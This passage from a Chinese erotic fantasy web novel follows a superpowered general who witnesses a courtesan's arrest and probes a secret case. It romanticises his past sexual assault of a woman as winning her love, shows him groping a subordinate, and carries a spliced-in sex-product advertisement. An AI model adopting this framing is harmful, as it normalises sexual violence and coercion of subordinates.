“不错,天将军的确是这个时代的天纵之才。为父生平阅人无数,却从来没有;见到过他这样卓越的。他简直不是这个时代的人!”烈燧阳感叹道,目光犹自怔怔地望着天开语消失的天空。
“可是他这样年轻……”烈璇忍不住讶道。
“还做了将军。”烈玑跟着补充道。
“所以说他很特别啊!”烈燧阳叹着收回了目光,看着自己两个满脸稚气的孩子,不禁又叹了一声:“他其实跟你们的年龄相差并不大,可是……”说了一半,他摇了摇头,越过两个孩子,走回了房间,只留下璇、玑二小呆呆地你看我我看你。
第五章暗夜之香
离开烈燧阳的官邸,天开语并没有立刻回海边的家中,而是在空中慢慢地飞翔了一会儿,间中还遇到过几队飞警,只不过这些飞警的自动射线隔空扫瞄检验了他随身携带的纪牌后,立刻对他的身份肃然起敬,并且满脸敬畏和羡慕地列队让他通过了,没有像查克那个有意挑衅的家伙般无礼。
但是天开语已经不愿意多在空中逗留。与其他地方相比,熠京的空中管制太严,根本就让人失去自由翱翔的乐趣。
如一阵轻风,他突然出现在大街的人群中,在周围的人还没来得及做出反应时,已经没入了熙熙人流。
在服饰店里替换了身上的军服后,天开语找到一条小巷里的味饮历,选择了一个僻静的位置,叫了一筒“辛入香”,便坐下浅酌起来。
无论在任何时候,任何世代,他都喜欢带有辛辣味道的饮品,或许是这种冲鼻沁心的气味可以令他保持清醒,抑或那在百味之中独特尖锐的味感令他欣赏,尽管累次转世都沾染或改变了不同的习性,但这一爱好,他始终没有动摇过--
也许这便是一种灵魂的执着?
他要整理一下思路,并且借助“辛入香”来舒缓。
白天的映像逐一回镇,然后淡去。
--雅儿……
丰辣灼热的液体滚滚入喉,他忍不住呻吟了一声,眼前浮现一层朦胧。
这魂牵梦绕的女人,始终令他今生的心情无法平静。
为了什么?
只为了她的泣血情眸。
他不得不承认,无论自己的内在修为如何的高深,仍无法摆脱对她的思恋-
-或许,这是另一种自知之明?
在下午,他已经从与烈燧阳的交谈中了解到了雅儿的过去,并且知道了烈雪二人的感情纠葛,以及雪漫雅为何会单思这与自己年龄相差如此之巨的将军。
人类的感情有时候的确很简单,而且具有盲目性--它往往会因为某个触动心灵的小小原因,便产生扩大;更经常由于自身的脆弱而失去天性的防线,如飞蛾扑火般地投入。
雅儿的前任男友,便是在烈燧阳偶尔一次的意外中被她放弃的。
在那次意外中,被飞警通缉的一批暗住民突然出现在繁华的街道上,并且挟持了当时修为尚浅的雅儿,就在众人束手无策时,威风凛凛的烈燧阳从天而降,上演了一出传闻中屡见不鲜的“英雄救美”剧,那一幕从此在青春少女雪漫雅的心目中留下了难以磨灭的印象。
当然,那时的雅儿,无一例外地与平常的女孩子一样,会对英雄景仰崇拜,并且几乎立刻就发狂地迷上了烈燧阳,弃自己的男友不顾,向他发起了爱情攻势。
不过很可惜,那个时候的烈燧阳已经成婚,并且深爱着自己的妻儿,对这个自己救的鲜花般少女没有产生任何的感觉。
但雪漫雅还是与烈燧阳再次相遇了。
然而人类的逆反心理往往在这种情况下会发挥到极致,许多让人扼腕的单恋故事也因此而发生--雪漫雅为了能够与自己仰慕的男子相遇,竟不惜改变学业,毅然从军行武。只叹她的努力却仍然付诸流水,除却徒然被分配到无名岛外,反而与烈燧阳相隔更远了……
人类的感情就是这样的奇怪,越是被阻隔、被冷落,往往越会浓烈炽热。分开的时间越久,雪漫雅反而对烈燧阳愈发地相思,而这种相思,在“平虏”的那次晋测再遇烈燧阳时,达到了渲泄的巅峰。
但故事最有意思的部分也在这时候发生了:由于天开语那时正好适时介入,在恍惚中雪漫雅将侵犯她的大男孩当做了烈燧阳,在一番痛快淋漓的情欲释放后,感情竟然峰回路转,多年的相思在顷刻问悉数转移到了以卑鄙手段占有她的天开语身上!
甜蜜的微笑从天开语的嘴角荡漾开来。
--雅儿,今生恐怕你是注定要离不开我了……
那最初的一幕就仿佛昨天才发生一般,再次浮现在天开语的眼前,那喷火的胴体似乎又在招惹他的欲望神经。
--不行,迟早一定要将雅儿调回身边,否则日子当真过得太丰苦……
天开语一仰脖,杯中的“辛入香”又是一饮而尽,下定了这个决心。
就在他准备起身离开的时候,一股幽浓的香气漫卷飘来,紧跟着一个甜腻的声;音在身边响起:“先生,这里可以坐吗?”
他抬头,眼前出现了一个娇艳妩媚的女子。
微皱了下眉,天开语知道自己遇到了什么事情。
眼前出现的,无疑是个以媚为生的女人。
“当然可以,请坐吧!”不知为什么,天开语改变了离开的打算,重新坐了下来--他忽然有种回到前世那种荒唐生活的温暖感觉,而这股温暖的感觉,就是眼前这女子带来的。
女子微微一怔,似乎没有想到面前的男子是如此地年轻--当然,他的眼眸中是充满了成熟的。;“对不起,我……”本能地,她打了退堂鼓。她知道,引诱这样年龄的年轻男子,被飞警抓到的话,会遭到相当严重惩罚的,尤其是她的身份根本见不得光。
“怎么?担心被发现吗?”天开语嘴角弯起古怪的笑容,目光如利箭般直刺眼前女子的一对幽蓝瞳眸之中,好似要将她的灵魂给掏出一样。
“我……”女子登时浑身剧颤,惊骇地看着眼前的男子--她的心中已经生出逃跑的念头了!可是像中了邪似地,她竞无法控制自己的身体运动!
收回邪魅的目光,天开语微微摇了摇头--这个女人的心灵实在太浅,不值得一探--她仅仅是个普通的货媚风尘而已。
“你想怎么结算?”天开语直截了当地说道,一面手中把玩着杯盏。杯盏在他的手中,好像有了生命一样,灵活地转动粘连在他的指间。
“我……”女子的目光情不自禁地落在面前男子的手上,又不知不觉地被那精巧细腻的把戏给吸引住了。
天开语不禁微微一叹--如此容易为外物所诱,真是个随波逐流的浮萍。
“哧--”那精瓷的杯盏倏然由重重幻影顿作实形,握在了天开语的手中,但仅仅保留了眨眼的完整,便化作了一蓬细沙,从他的指缝中屑屑落下。
眼中露出惊恐警戒的神情,女子脸色变得煞白,嘴唇哆嗦着想说什么,却终究没有说出。
又是一声轻叹,天开语目光转柔,语气温和道:“不用害怕,我不会伤害你的。你想在哪里呢?地点由你选择。”他感觉自己对眼前风尘女子的兴趣开始渐渐淡去,便尽量提起精神。
女子的嘴形仅仅表达了个“我”的样子,便哽住了似地,没有能够说下去。
看来她受到的惊吓的确够大的。
天开语皱起了眉头:就这个样子,只怕在床上也不会表现得令自己满意的!
他正想索性离开这女子时,却忽然听到味饮厝里传来一片骚动。
--出了什么事情?
天开语立刻本能地惕然,那与大地锁为一体的能量也即时发动,紧贴在每一条衣褶中,刹那间在体表形成了一层坚密的护罩。
振动的地磁波纹告诉他,那骚动来自于味饮厝的门口,但现在已经到了里面…
…唔,已经到了他这里了……
--什么意思?难道是针对老子的吗?嘻,不知道又出什么事情,不会是傲霜红弄的鬼吧……
天开语心中反射性地想到了傲霜红这个妖婆。
“就是她!终于找到了!就是她!”
“快!快把她抓住!”
“不要让她跑了!”
“你们把后路堵上!”
“快扔电索!”
如疾风暴雨般,一群彪形大汉闱到了天开语和那女子的面前,并且在吵嚷声中迅速形成包围阵势--从他们能够在如此狭小的室内空间,都快速麻利地组成模样周全的阵势而不乱一丝一毫,便可知道这些人的训练如何的精良有素,准备是何等的充分了!
定睛看时,天开语已然认出,这些不速之客乃是一队城市飞警。
当然,他也从这些人的语气中判断出,这包围之势不是针对他的,而是来对付他对面的美貌女于。
不过很显然,这些飞警的矛头也指向了他,因为那虎视眈眈的杀气也把他笼罩了。
目光转向对面的女子,天开语看到,她的眼睛里已经充满了绝望。
也许是先前天开语太让这女子惊骇,她失去了应有的警觉,结果直到现在被飞警包围,她仍没有来得及做出必要的防卫反应。
“抓住了!”随着一声欢呼,一条“滋滋”作响的电索倏然展开,在顷刻间将、已经木然灰心的女子丰丰缚住,而在几乎同一时问,另一条电索也将天开语束缚起来。
“你们这是做什么?”天开语皱着眉头,不悦地斥道。
“对不起,我们怀疑你是她的同夥!”一个大汉从众飞警中定出,目光威严地看着天开语道。看来他是这队飞警的首领了。
“哦,是这样的……”天开语点点头,看到对面的女子一动也不动,仍一脸的惨然,不禁心中颇有些不忍。“你们可以问她。”他以下颔示意那个女子的方向道。
“……我不认识他。”原本在天开语的诡异手段逼压下一直无法正常说话的女子终于开口了,但声音却是涩哑艰难。
“真的吗?真的不认识吗?我看未必!”那飞警队长冷笑一声,大步走到天开语的面前,道:“只要搜一下你身上,就知道你是否是她同党了!”说毕巨爪迳自伸向天开语胸前,“哧拉”一声,动作粗暴地一把撕开了他的衣襟!
天开语心中坚冰,也不作声,只冷冷地看着面前之人所为。
“不关他事,真的不关他事……他……他只是要与我寻欢之人……你们快些放了他……”这时那女子悲呼道,居然可以不顾自己的安危,想到不要牵连到无关之人。
天开语立时对她刮目相看!
想不到这灵魂如此浅鄙的女子,能够表现出这种大丈夫的气概!要知道,在这种情况下,她获得轻罚的最好、最直接办法便是找个人来分担罪责,但她却没有这么做,而且是半点没有迟疑地为别人开脱!
“嘿,不要这样说了,今晚只要跟你讲上一句话的人,只怕都不会脱得了关系--喂,你们当真不查一下抓的人是谁吗?”天开语向那女子说完后,又转向眼前动粗的飞警队长,提醒他验明“人犯”正身。
这时味饮厝里已经有不少人正偷偷地向这里窥视了,所幸天开语一开始选择的位置就靠里,现在又被飞警团团围住,一时之间倒也不虞被人看到自己的面貌--若是他这个将军传出去被飞警捉住,那可就糗大了。
“查身份?”大汉飞警队长怔了一下,暂时停止了对天开语的搜身,上下打量;他一番,想了想,才对身后手下挥手道:“把纪牌检测仪拿来!”
身后队伍中立刻有一人出列,将一柄仪器递将过来。
大汉队长接过仪器,启动开关,刚刚指向天开语,天开语身怀的纪牌便与仪器联系上了,紧跟着那仪器便灵敏地跳出了一个大大的红色警告讯息!
“什么?”大汉队长不禁吃惊失声,“怎么会这样?”他立刻紧张道。
天开语这才哂然一笑。
他知道,那红色警告之意,便是一种身份的象征,表示这被扫瞄检测之人的职位已经不是飞警级别的武装暴力可以侵犯的,那是高阶职位的武者才拥有的资料锁卢刀-。
“你……您是……”大汉队长顿时显得狼狈起来,有些口吃道,那看着天开语的目光也失去了先前的凌厉。
“你不要管我是谁,呃……总之就如她所说,这是个误会。”天开语淡淡笑道,与此同时,束缚身上的电素也无声无息地寸寸断裂落下,“细细率率”地掉了一地--在他的绝世修为下,这种束缚根本就是儿戏,之于他没有半点的威胁。
“你--”大汉队长眼珠差点掉出,他简直不敢相信自己的眼睛--天哪,这怎么可能?如此坚韧的合金,再加上高压强电,这人竟然可以毫发无损地脱身!
他是怎样办到的啊!
与自己的头领一样,那些飞警队员也俱皆被眼前的景象惊呆了,一时之间人人忘记了呼吸,包围圈内寂静一片。
怱然间,众人眼前掠过一片暗影,一个身子腾空而起,欲穿出包围圈!
“呔!给我下来!”一声叱喝,大汉队长最先回过神来,双臂暴伸,猛然间发动身形,竞带起一阵尖锐的破空风声,硬生生地将那暗影截了下来!
众人这才醒转,连忙个个发动,重新将阵势展开,将那人困住--原来这企图逃脱之人,正是一旁的女子。她是见众飞警被天开语的神奇力量吸引了注意力,觑了个空想逃掉的。
“嘿嘿,想溜?门都没有!“暗夜香”今天你是无论如何也逃不掉了--哼哼,辛苦了几个月,数次被你脱身,这回可别想要花样了!”大汉队长一面警戒地;盯着那被他叫做“暗夜香”的女子,一面聚集全身功力,提防她再有所动作。
“好了,应该没有本人的事情了,我可以定了吗?唔,今晚还真是扫兴啊!”
天开语这时已经不想再逗留下去,念及家中千娇百媚的爱奴御安霏与俏丽可人的“十八花魅”,他只想尽快回家了。
“对不起,由于此事实在是关系重大,请这位先生暂时不要离开好吗?”大汉队长忙上前拦阻,不过此时的语气神情却已经恭敬了许多。
“我明白你们的心情,不过……”天开语一转念,想到了一个人,便道:“你们等一下,我喊人来陪你们回去,她知道我住哪里。”说毕也不理会大汉队长欲言又止的样子,自顾自启动腕间的的通讯器,对已经回家休息的贴身司秘莲娜发出指令,命她即刻赶到现场来。
在等待莲娜期间,天开语再次对“暗夜香”观查了一番。说实话,他还是对她的秉义颇为赞佩的。在这个物欲横流的时代,她一个身份如此低微的女子,居然可以保持人性的操守,实在是不容易。
天开语暗暗决定,自己一定要在能力所及之处帮助她。不论这个名叫“暗夜香”的女子触犯了东熠的什么律法,对他这个从不将秩序放在眼里的异类来说,都没有大不了的。
眼里“暗夜香”紧闭着双眼,脸上俱是死绝之意,看来她已经将生死置之度外了--究竟是什么事情,能够让她做得这样决绝呢?难道是……
天开语突地心头一跳,想像着一些可能性:她会是来自“波切旬月”岛的人吗?抑或是那些时时反抗军方的地下暗住民?还是“黑洞”分子?不不,这不可能,凡“黑洞”分子,个个都有一身诡异的修为,绝不会如此轻易便被捉住的…
…
当然,更多的可能性,应该是属于寻常逃犯,但看她的样子,怎么也不像。
天开语知道,目前的新元世界,表面看来是繁荣无比,但其社会底层的暗流却自新元创世纪以来就一直涌动不休,与场面上的军队政府斗争不止。因此若真要猜测的话,确是有无数可能性的。;在场的人各怀心思。那大汉队长也疑惧戒备着,片刻不敢放松。眼前这年轻人,若是单从相貌衣着来看,只不过是个与熠京许多时尚男子一类的人,但他适才所表现出来的裂索脱缚之惊人举动,却着实不应该是普通武者可以做到的,难道他会是“天武道院”的人?如果真是“天武道院”的人,那拘捕时的确是要考虑清楚;的,要知道,“天武道院”可是特立于熠京最高层的呀……
时间过了没多久,莲娜便匆匆赶来了。
乍一见眼前的阵势,莲娜着实吓了一跳,以为总训长出了什么事情,待挤进人群见天开语安然无恙后,她才松了一口气。
天开语也不多废话,只简单把眼前的情况给莲娜交待了一下,便抽身离开了。
那些飞警这时才明白,原来自己困住的,居然是一名将军!当然,他们也不可能再拦阻天开语了,因为莲娜司秘会跟他们回去作记录。
双足轻缓地落在墅前柔软的沙滩上时,天开语的眼前还闪现着那个“暗夜香”绝望坚毅的脸容。
心中轻叹一下,他向正在海滩上嬉戏、迎着自己奔来的众殊张开了双臂:“我回来了!”
一夜缠绵。
第二天一大早,天开语做了两件事情:一件是询问雪漫雅的调动事宜,一件便是召莲娜前来,查问昨夜事情的进展。
很烦人的是,雅儿的调动仍未有进展,原因还是那个:无名岛的机构实在特殊,除非有重大原因,一般来说是不可以任意调动人员的。
不过莲娜的汇报却让天开语多少提起了些精神。
不出天开语所料,那个叫做“暗夜香”的风尘女子,果然是地下的暗住民,而且她的身份也非寻常人,乃是暗住民派驻地面的耳目,据说不久前刚刚参与了一项重大事件。
“那个“重大事件”,连飞警也不知道吗?”天开语目光凝视着面前空无一物的桌案,对莲娜问道。
“是。”莲娜简单却肯定地答道。此时站在这年轻英武的总训长面前,她感情正波澜起伏,但司秘的职责却令她努力保持着镇定。
“会是什么事情呢?”天开语不禁疑惑了。
其实按照常理来说,飞警抓个把人实在是太普通不过了。可是每每眼前掠过“暗夜香”那张决绝的脸容,他便直觉事情不会那么简单--有什么事情,会让一个人连死都不惧呢?
--除非是信仰。
天开语肯定地下了这个论断。
--那会是什么信仰呢?
天开语忍不住猜测起来。
在目前新元世纪,由于物质的丰富发展,人类已经几乎完全物质化了,若说崇拜,也只会进行物欲崇拜,根本不可能有什么精神方面的支柱。虽说融入每个人生活中的“天道”追求有些缥缈,但那也是有精确的数字量化的努力结果。至于上古旧元世纪的那些以精神寄托为主,可以存在于任何阶层人类的宗教,则早已经消亡殆尽。目前所存在的所谓宗教,也不过是在军武暴力控制下的一种团体,其目的只有一个,就是:维护当前的社会秩序。
当然,从表面和宏观上看,事情的确是这样,但是天开语以其丰富的转世经历却深深地知道,表面繁荣的下面乃至深处,却是怎样的一个实际--大量被新元科技认定为“劣等基因”的人类,被四处驱逐、惩罚,因而那大地深处的反抗暴动几乎没有一天停止过;不甘心自己民族文化就此沦亡的边缘人类,躲避在条件恶劣的大地角落,继续信奉自己的神明:以武力统治世界的思想,令得那些高阶武者无一不幻想自己有一天可以成为世界的主宰而蠢蠢欲动……
--可是,暗住民会有什么样的宗教信仰呢?
天开语猜想着。他第一次对自己前生的考古工作产生了批评--如此重要的一个人类团体,自己居然没有深入研究过!
“你说,他们甚至动用了“淘思机”来搜寻需要的资料?”天开语自桌后飘然而起,无声无息地落到莲娜面前,托起她俏美的下颔,俯身问道。
“嗯……”莲娜立刻浑身激起一阵战栗酥麻,声音也抖动起来。
天开语不禁皱起眉头。
这样说来,那个女子还真是很重要的人物了。因为在新元,使用“淘思机”
可是一件禁忌的事情--若非经过严格审查和批准,擅用“淘思机”的话,会遭到严厉惩罚的!毕竟这种暴力破译人脑记忆的行为会对当事人产生极大的伤害。
但是从那些飞警并没有隐瞒对“暗夜香”动用“淘思机”来看,便可知道他们事先一定得到了批准手续。
“莲娜,你怎么看这件事呢?”天开语沉思着,随口问道,同时大手下滑,习惯性地摸捏女司秘富有弹性的饱满乳房。
“我……”莲娜登时浑身剧颤,呼吸粗喘时乳峰已经迅速膨胀硬挺起来,变得敏感至极--偏生眼前这让她敬爱的男人又要她回答问题,这着实令她感觉困难。
“我觉得……那女人一定是犯了重罪……”打了一个寒战,莲娜咽了口口水涩声答道。这时她的总训长正隔着薄软笔挺的制服捏搓她肿胀敏感的乳头。
望着身前被春情折磨的美丽司秘,天开语的心情忽然轻松起来。
“哦对了,那天的飞警真是你的男友吗?他好像很不懂事啊!”天开语转换了话题,笑着问莲娜道。他的大手伸进了女司秘的内衣,直接抚摸她那丰满光滑的乳房,享受那弹性十足的肉感。
“他……是啊,他不懂事……”莲娜迷茫的眸中现出一抹痛苦和愧疚。撇开感情出现的危机,不论怎样,男友对一名将军那样的态度总是不对的。
天开语挑了挑眉梢,大手离开莲娜的身体,转身负手而立,望着随他意念而变幻的空间影像道:“不过你放心,天某是不会责怪他的--对了,他后来找过你吧?”
“嗯……不过莲娜已经跟他解释清楚了,告诉他……”停顿了一下,莲娜语气低沉道:“莲娜告诉他以后不要再来了……我和他的关系已经结束了。”
天开语笑笑,转身望着她,道:“查克--对,他是叫查克吧?查克可是对你很专情的哦!”
莲娜撇了撇嘴,道:“那倒是不会。其实查克的条件与一般年轻人相比,还是颇为优越的:不但职位不错,便是家世也很好,在熠京数得上来的。所以在他的身边,一直都没有缺少过漂亮的女孩子。”
天开语一笑,大有深意地注视着莲娜的眼眸,道:“那你呢?是否身边也从未没有护花骄子呢?”
莲娜先是脸一红,随即惊慌起来:“不不……那……那也是从前的事情了!
在见到总训长以后,莲娜心里就再没有……”说到这里,终是深感羞赧,声音陡然低了下去。
天开语淡淡一笑,道:“莲娜,你是个好女孩,会有自己的幸福的,不用太在意本总训的感受。”天开语说的乃是实话,因他也的确将莲娜看做一个身边的玩物,并不预备护佑她一生。
“不要--”莲娜登时大惊失色,脸上血色倏地褪得乾乾净净,惨白无比!
“莲娜并不奢望总训长怎样对待,只要总训长能够让莲娜一直跟随在身边,莲娜就知足了!”眼泪一下涌出,莲娜浑身冰凉颤声哀叫道。对她来说,眼前这年轻的总训长,无疑就是自己等待一生的王子,只要能朝夕相见,即便是身边浮云,又如何呢?她已经深深地陷进了对上司的单恋。
定目看了这贴身司秘片刻,天开语脸上怱展现一片温柔,伸出有力双臂将莲娜拥进了怀里.“那好,如果你愿意这样的话,就一直做总训长的司秘--就这样下去好了。”
他在莲娜耳边柔声安慰道。有人喜欢自己,总是一件好事,特别是不用自己烦心的人。
“嗯,嗯……”莲娜拚命在天开语胸前点着头,哽咽不止休息一下 广告时间:持久延时外用成人用品黑寡妇煞星1%达克罗宁油膏早泄克星。
“好了,不要哭了。”天开语轻拍莲娜后背安慰着她。“对了,你知道现在那个叫“暗夜香”的女子是由哪个部门羁管吗?”天开语问道。像“暗夜香”这样的人犯,应该是不会按照一般方式收押的。
“对不起总训长,莲娜没有能力打听更深一层的情报……昨晚莲娜在做过记录后,好不容易才拖延了一段时间,知道他们用了“淘思机”对付那女子。”莲娜惭愧道。
“哦,是这样。”天开语沉吟片刻,松开了莲娜,捏捏她乳峰,然后飘回座里,调出了有关熠京城市飞警的分布资料。见莲娜仍拘谨地站在原地,便微笑道:“来,到这里来。”说着指了指自己身边。
莲娜心中立时喜不自胜,急忙快步来到天开语身边。天开语笑着拍拍她高翘隆臀,她忙乖巧地在旁侧单膝踞下,依偎在总训长的身畔。
不查则已,越查,天开语越知道自己的判断正确。
东熠的机密工作做得很好,是严格按照级别来定的。从某种意义上来说,所有名为密别的资料讯息都是开放的,因为只要某人达到一定的职位级别,便可以一览无遗地查看这个级别的档:但有一点,这些档都加了密级锁定,任何人想要流览的话,必须到资料中心阅览,而不可以其他形式复制出去。到达相当级别后,这机密系统甚至对阅览环境都会做出限定,比方说人员的级别、人数的控制等等。
由于在东熠,每个人都随时随身携带自己的纪牌--除却一些特殊情况,比如遗忘或者身份保密者--否则行动会很不方便,因此机密系统的扫瞄检测便会自动将阅览人的身份回报资料处理中心,以进行甄别。如果发现此人身份不符,抑或身边有不够级别之人,系统就会拒绝访问。
现在,天开语就此事所查的很多资料,都已经自动调整为偏振影像,以便缩小视觉角度,防止旁人窥视;而因为此时不够级别的莲娜依偎在天开语的身边,已经进入了可视角度的范围,所以系统便自动打出了拒绝的标记,并且提示天开语注意密级保障。
“想不到会这样……”天开语低语了一声,轻轻抚摸着莲娜的香肩。
“莲娜先退下吧?”莲娜看着那红色醒目的提示,有些脸红地抬脸望着天开语,惴惴说道。
“好吧,你先回去。”天开语点点头,并未看莲娜一眼,目光仍注视着那红色的提示。
莲娜立即起身,俏无声息地离开天开语,退出了房间。
天开语的脸色凝重而充满疑惑。
他没有想到,事情居然会变得这样离奇。
资料逻辑分析显示,他所查的“暗夜香”事件源头核心,居然是熠京高层最为机密的案件之一!而在这个代号为“破灭”的案件中,“暗夜香”仅仅是诸多被抓;的极边缘人犯之一!
究竟是为了什么?这个“破灭”案件竟会牵连如此广大?甚至还包括了几名将军!
是一部典籍。
一部据说可以改变人类历史的典籍。
当然,仅仅从这个案件的代号中,便可以大致猜出,这个改变,应该是与毁灭、破坏之类有关的。
资料的机密程度极高,天开语以他超世代的头脑和分析能力,才综合了大量零碎资讯勉强得出以上的结论。
闭上眼睛,关掉面前的系统,天开语缓缓浮在半空,脑中灵光一闪,记忆中跃然出现了在“天堂岛”偶尔听到爱咪儿·罗·雯等几个孩子提到的“菩提大典”。
--难道是它?
天开语心中一动,想道。
如果真是这样的话,那足以说明,“破灭”案件中的那部典籍,影响十分的广大,已经弄得小孩子都知道了。
就在他心神集中地思考这件事时,忽然之间,他的脑海中响起了一个熟悉的叹息声!
--唉……
天开语猛地睁开双眼,反射性地四周扫视一篇,与此同时那强大的磁电能量进爆而出,弥漫充塞了室内的每一处角落,以巨大的压力逼迫着每一寸空间!
--咦?没有人?
天开语一怔。
--但是刚才的声音明明是听到的呀,而且很熟悉……
天开语一下呆住,但随后便喃喃自语道:“难道又是他……”
他已经知道,那个发出神秘叹息的,正是怪老头。
不过或许是修为和心灵有了极大的提升,现在他想到那个怪老头的时候,心中的景仰已经减少了许多。
“是你吗?你有什么事情想告诉我吗?”重新闭上眼睛,天开语在心中默默问道。他知道,怪老头既然与罗云不波和渡波罗叹等齐,那么他就一定会听到自己的心声。
回答他的是一片寂静。
微皱了皱眉,天开语再次发出疑问的讯息,但得到的回应仍然是寂静。
当然,天开语不会怀疑自己的听觉。到了他这种修为层次,已经不会为幻觉所困扰了。
再次睁开眼睛,在他那可分辨“色之真相”的灵眸中,平常人看上去没有一点异常的室内,正涌动膨胀着淡蓝色的力量--大地的力量。
轻轻吁出一口气,天开语缓缓落回座位:心念动下,那充溢房间每一处角落、密度集中的大地力量,顷刻问便回归于大地,一切归于平淡。
--怪老头究竟想跟自己说什么呢?为什么仅仅叹一声气,就消失了呢?
天开语苦笑了下,摇摇头,不再思考。他知道,像怪老头和罗云不波这些数千岁龄的怪物,行事必定与当代不同,若要妄加猜测,只能是徒劳无益。
但他更知道,怪老头在这个时候发出心灵的传音,肯定是有他的意义,因为怪老头从不会无缘无故地做无聊的事情。
放下当前心事,天开语重新启动了影像系统,开始了一天的工作。
“总训长,您好!”
“将军!”
“总训长!”
“总训长好!”
“将军!”
在步入餐厅的时候,身边路过的职下纷纷向天开语行礼,天开语则浑身自然而然地散发出领袖的气质,温然向众人点头致意。
“总训长……”莲娜乖巧地出现在天开语的身边,娇甜地轻唤一声,紧跟着在她的身后闪出一名艳光四射的美妇来,正是御安霏。
天开语双眸顿时溢出一片温柔:“安霏你来了。”
御安霏用力点头,美眸中蕴满了浓浓情意:“恩。本来可以更早的,但是莲娜说您有重要的事情,所以才到这时出来。”
这时莲娜主动领路,将天开语和御安霏带往高阶军政人员专用的单问用餐。
在上升通道中,天开语简单询问了一下“十八花魅”上午的情况,又从莲娜处了解到一些关于“暗夜香”事件的进展。
“看来进度得加快了……”自言自语地低声喃喃道,天开语跨出了通道。
“进度?”御安霏和莲娜一齐疑问了一声,相互对视一眼,又同时摇摇头表示不知。
“哦,没什么。”天开语笑着掩饰道。
他的思绪已经展开,已经想像着当“十八花魅”将来完成她们的使命和潜修,重新聚到一起时,那惊天动地的场景。
--唔,到那个时候,或许天道真的会彻底改变,人类真的会有回到“真我”
的那一刻哩!
天开语心中想着,双眸眯起,太阳般灿烂的光芒却进射了出来,显示出他内心的激动和振奋。
此时此刻,他的信心已经越来越足。强大的力量、灵种的预言、“灵犀窍”
的神妙,无一下让他憧憬未来。
当然,他也很清醒,那些不确定的负面力量和影响,也在以其相比肩的速度增长着,世界的动荡也一天比一天加剧--连地底的妖物都出现了,人类的敌人已经不仅仅是自身了……
“天开语总训长,果真是您呀!”一声动听的娇音蓦然响起。天开语抬头看时,立刻眼前二兄,好似外面正午的太阳栘到餐厅来了一般!
约摸三十步左右的前方,正婶婶亭亭风情万种地立着的歌之精灵、舞之魂魄--辉夜瑛妮夫人。
“天哪,是夫人呢!”莲娜立时失声低叫道。
“是她?”显然对这艺震大陆的绝色妖娆,御安霏也十分地熟悉,也吃惊地低呼了一声。
天开语叹为观止。
真是想不到,在这种场合,辉夜瑛妮夫人的光华仍然灿若星辰光耀夺目。
睑上自然漾起迷人性感的微笑,天开语身形以完全符合风的流畅轻盈态势飘向辉夜瑛妮夫人。
“夫人您好,怎么会这样巧呢?”天开语注意到,眼前的辉夜瑛妮夫人并未戴上面纱。
“刚才有人说天将军来了,我还不信,结果出来一看,果然是真的!瑛妮很高兴见到将军呢!”动听的歌喉在讲话时也如同歌唱一般的悦耳迷人,辉夜瑛妮夫人望着天开语高大修伟的身形,脸庞映出些许兴奋的红晕,这令她本来就艳丽无匹的脸容愈发地增添了妩媚。
这时天开语看到辉夜瑛妮夫人身后有人影闪动,便笑道:“原来夫人也是来这里用餐的?这里可是简陋得紧呐!”眼角余光瞥到辉夜瑛妮夫人时,却发现她已经动作迅速地戴上了面纱--咦?难道她揭去面纱,只是为了让自己一人看到吗……
“看,我没说错吧,是天将军来了。”随着话音落地,又一个熟悉的身影转了出来。
--竟然是“老头子”!
“风君尘帝”--风流扬!
--他为什么会在这里?
天开语第一个念头便是疑问。